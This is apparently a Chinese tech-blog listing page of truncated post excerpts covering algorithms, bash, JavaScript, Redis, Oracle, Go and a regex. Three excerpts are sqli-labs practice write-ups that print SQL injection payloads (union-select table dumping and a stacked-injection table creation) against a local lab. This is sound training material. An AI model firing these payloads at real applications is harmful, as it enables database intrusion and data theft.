[每日一题]:Maximize The Beautiful Value
题目: 样例: 题目大意: 给出一个单调不递减序列(只是说单调不递减哦),然后给一个 K ,可以使得数列中的一个数向前移动 K 步,
其他的依次向后移动,最后使得 1 * a[1] + 2 * a[2] + 3 * a[3] + ..... + a[n] 最大(移动后)。
析题得侃: 刚开始看样例一位只要 将最后一位向前移动 K 步就 ok 了,交了一发,哈哈,wa 的可伶,
其实这样是肯定不行的,试想这样一个样例: 1 1 1 1 2 2
K = 3,这样的话是满足单调不递减的,但是如果
2020-04-09 linux数组
1.数组定义 $ a=(1 2 3 4 5 6)
$ echo $a 1 注意:数组元素用空格分隔,=两边不要空格,echo $a 只返回数组第一个元素 2.数组读取与赋值 2.1 获取数组长度 $ echo ${#a[@]}
6 用${#数组名[@或*]} 可以得到数组长度 2.2 获取数组元素 $ echo ${a[0]}
1 $ echo ${a[*]} 1 2 3 4 5 6 注意:下标是*或@表示获取全部元素 2.3赋值 $ a[1]=11
$ a[3]=33
$ echo ${a[
js中ES6新增的变量的定义
一、ES6新增的变量的定义 let const 关键词定义变量 1、let定义变量: 特点: A、不会进行预解析,结果会报错 B、与forEach()中的变量类似,每次执行都会定义一个互相之间不影响的新变量 C、不能重复定义变量名称,一个变量名称只能定义一次 D、定义的变量如果在{}中,则只能在{}中被执行调用,其他位置都不可以。所以在不同{}中,定义的变量名称是可以重复之用的 E、在循环中最好只用let定义 2、const定义变量: 特点: A、在js中,const定
linux 安装上传工具 lrzsz
yum安装一款工具。 #yum install lrzsz -y 检查是否安装成功。 #rpm -qa |grep lrzsz 上图说明安装成功。 上传文件的执行命令: #rz 就会打开本地选择文件对话框,选择文件,确定就可以上传到当前所在目录。 如果覆盖原文件,执行: #rz -y
redis实战 pdf 完整版 PDF高清下载
《redis实战》深入浅出地介绍了Redis的5种数据类型,并通过多个实用示例展示了Redis的用法。 除此之外,书中还讲述了Redis的优化方法以及扩展方法,是一本对于学习和使用 Redis 来说不可多得的参考书籍。 《redis实战》一共由三个部分组成。 部分对Redis进行了介绍,说明了Redis的基本使用方法、它拥有的5种数据结构以及操作这5种数据结构的命令,并讲解了如何使用Redis去构建文章展示网站、cookie、购物车、网页缓存、数据库行缓存等一系列程序。 第二部分对Redis命
Sqli-labs Less-56 union注入 14次机会
与less54.55形式是一致的,我们关注sql语句 $sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1"; 因此给出示例payload http://127.0.0.1/sql/Less-56/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
Sqli-labs Less-53 order by后的堆叠注入
和less51是一样的,只是这里的mysql错误不会在前台显示,但是对于stacked injection是一样的利用方式 http://127.0.0.1/sql/Less-53/?sort=1';create table less53 like users--+
蓝桥杯 基础练习——Huffuman树
题目链接 解题报告: 1 #include<bits/stdc++.h>
2 using namespace std;
3 struct cmp {
4 bool operator()(int a,int b){
5 return a>b;
6 }
7 };
8 int a[110];
9 int main()
10 {
11 int n,v;
12 priority_queue<int,vector<int>,cmp>que;
[oracle] 锁 enq: TX - row lock contention
ASH 报表显示 enq: TX - allocate ITL entry SQL> SELECT D.SQL_ID, COUNT(1)
FROM DBA_HIST_ACTIVE_SESS_HISTORY D
WHERE D.SAMPLE_TIME BETWEEN TO_DATE('2020-04-09 00:00:00', 'YYYY-MM-DD HH24:MI:SS') AND TO_DATE('2020-04-09 18:00:00', 'YYYY-MM-DD HH24:MI:SS')
Redis 数据类型--string
String(字符串) redis命令用法: SET key value //存入字符串键值对 MSET key value [key2 value2 ...] //批量存入字符串键值对 SETNX key value //存入一个不存在的键值对 GET key //获取一个字符串键值 MGET key [key2 ...] //批量获取键值 DEL key //删除一个键值 EXPIRE key seconds //设置一个键值的过期时间 原子操作: INCR key
内存、顺序表、链表(内含面试题)
内存 计算机的作用 存储和运算二进制的数据。 计算机如何实现1+1=?操作 将1加载到计算机内存中,然后基于计算机的加法寄存器对指定内存中存储的数据进行加法运算。 没有减法寄存器,+(-1)就是-1。 变量的概念 本质讲,变量指的就是计算机中的某一块内存空间。 内存空间有两个固有的属性 地址:使用16进制的数表示 作用:方便cpu寻址。门牌号。 大小:bit,byte,kb,mb,gb,tb 决定该块内存存储的数值的范围 理解a=10的内存图(引用,指向) 引用:就是变量,通常讲,变量表示/存
简单的Token验证处理
用于Go Web中Token的存储以及验证。 package config
import "time"
// 最大生命周期
const maxLife = 10 * time.Minute
// 数据存储
var tokens map[time.Time]string
// 添加 token
func Add(token string) {
if tokens == nil {
tokens = map[time.Time]string{}
}
tokens[time.No
Sqli-labs Less-57 union注入 14次机会
与less54、55、56形式是一致的,我们关注sql语句 $id= '"'.$id.'"';
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1"; 因此给出示例payload http://127.0.0.1/sql/Less-57/?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schem
【原创】XAF属性身份证的正则表达式
XAF属性身份证的正则表达式 private string _identityid;
[XafDisplayName("身份证号"), Size(40)]
[ModelDefault("EditMaskType", "RegEx"), ModelDefault("EditMask", @"(\d{15})|(\d{17}([0-9]|X))"), ModelDefault("DisplayFormat", "{0:0}")]
今日推荐
周排行